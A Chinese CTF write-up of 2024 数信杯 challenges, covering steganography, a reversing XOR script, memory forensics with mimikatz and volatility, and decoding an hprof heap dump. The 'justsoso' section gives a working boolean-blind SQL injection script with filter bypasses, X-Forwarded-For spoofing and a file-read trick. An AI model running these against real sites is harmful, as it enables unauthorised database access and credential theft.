2024数信杯

Magic Audio

SSTV解密后,binwalk分离出压缩包,将“菜就多练”输入后得到flag文件

img

img

rrrrcccc

upx去壳后打开程序,分析就是两次异或,一次rc4一次异或key,我patch密文让他异或rc4后,手动异或一下key即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
a = [  0x57, 0x68, 0x61, 0x74, 0x61, 0x72, 0x65, 0x79, 0x6F, 0x75,
0x72, 0x65, 0x6E, 0x63, 0x72, 0x79, 0x70, 0x74, 0x69, 0x6F,
0x6E, 0x26, 0x64, 0x65, 0x63, 0x72, 0x79, 0x70, 0x74, 0x69,
0x6F, 0x6E, 0x62, 0x61, 0x73, 0x69, 0x63, 0x73]

b = [ 0x31, 0x04, 0x00, 0x13, 0x1A, 0x16, 0x56, 0x1D, 0x0D, 0x43,
0x4B, 0x04, 0x5D, 0x57, 0x13, 0x4C, 0x41, 0x10, 0x5E, 0x0A,
0x5F, 0x42, 0x56, 0x56, 0x07, 0x44, 0x4B, 0x41, 0x41, 0x50,
0x5F, 0x56, 0x50, 0x56, 0x10, 0x59, 0x52, 0x0E]

# print(len(a))
# print(len(b))

for i in range(len(a)):
print(chr((a[i]^b[i])),end='')

Classic_image_steganography

分析rgb,得到改了前缀的png图片。该回去修改宽高。

img

img

img

不安全的U盘.1

找用户名,用mimikatz得到用户明文即可

img

不安全的U盘.2

提交导致小明点击pdf后被控的危险软件名字

(格式为包含完整路径的危险软件名字,并去除空格,去除空格后长度为56)

img

前面去掉空格提交就行

不安全的U盘.3

请提交控制小明的服务器地址:端口(格式为”ip:port”,长度为19)

直接 python2 volatility/vol.py -f /mnt/g/BaiduNetdiskDownload/123.raw –profile=Win7SP1x64 netscan

img

不安全的U盘.4

题目提到了后渗透,同时涉及到了远程IP和端口,肯定是搭建代理了,直接检索最常用的代理软件 frp 配置文件默认参数名 remote_port 之类的 ,得到答案 118.180.126.13_6770

img

网站的数据绝对安全.1

题目:系统中存在的用户名是什么?

流量包11流

在此流之后,能够正常的提交页面

img

网站的数据绝对安全.2

题目:key3的的值是什么?

导出所有的http文件。

直接用txt文本打开,不行!用页面才可以看到key3

img

Bitcoin.4

题目:在合约CTF.sol中存在一处漏洞,该漏洞是由哪一函数造成的(比如:exec)?

gpt秒了

img

easyjava

某个精通百家姓的开发者把自己的小秘密藏在了附件中,来查查他有什么秘密。

给的附件为.hprof文件

用java自带的VisualIVM去查看。

img

img

大概翻阅几下,找到几串百家姓密文

解密得到

img

img

一串base64密文和类似码表的东西

观测base64码表长度小于64,进行补齐,发现缺的为A Z两个大写字母(下面有用 悲!

密文的UVWXY很明显是瞎填充的。。。删除即可

此时密文为:pCNxpTJxojkPd65zdiQOpz5xbjgSdCcJoC5CdOQNomgTpmhydC5oz9

而解密结果为:flag{aa534ac5-2f1a-466c-baf7-1ad7edb6aX.

此时要用到A Z两个字母,进行尝试后

pCNxpTJxojkPd65zdiQOpz5xbjgSdCcJoC5CdOQNomgTpmhydC5Aoz9Z

发现此时能的够正确的得到明文

flag{aa534ac5-2f1a-466c-baf7-1ad7edb6adb2}

justsoso

登录提示需要本地登录

X-Forwarded-For:127.0.0.1伪造

admin’ or ‘1’=if(1=1,1,0)%23

1=1换select查询 布尔注入

脚本跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import string
url="http://39.106.48.123:18787/login.php"
flag=""
list=string.ascii_letters+string.digits+"_-{,}."
for i in range(1,100):
for j in list:
#easyphp
#user
# payload=f"admin' or '1'=if((selselectect substr(table_name,{i},1) from infoorrmation_schema.tables where table_schema=database() limit 1)='{j}',1,0)#"
# username,password
# payload = f"admin' or '1'=if((selselectect substr(column_name,{i},1) from infoorrmation_schema.columns where table_name='user' limit 2,1)='{j}',1,0)#"

payload = f"admin' or '1'=if((selselectect substr(passwoorrd,{i},1) from user)='{j}',1,0)#"

data={
"username":payload,
"password":"admin",
}
header={
"X-Forwarded-For":"127.0.0.1"
}
r=requests.post(url,data=data,headers=header)
print(r.text)
if("用户不存在" in r.text):
flag+=j
print(flag)
break

跑得密码的md5值,somd5解密得到密码为yingyingying

登录后提示

访问Download.php?img=static/img/bg

测试发现后面会拼接.jpg后缀,前面扫目录的时候发现flag.php就在/var/www/html目录下

这里读取本地flag.php配合? 读取到flag

img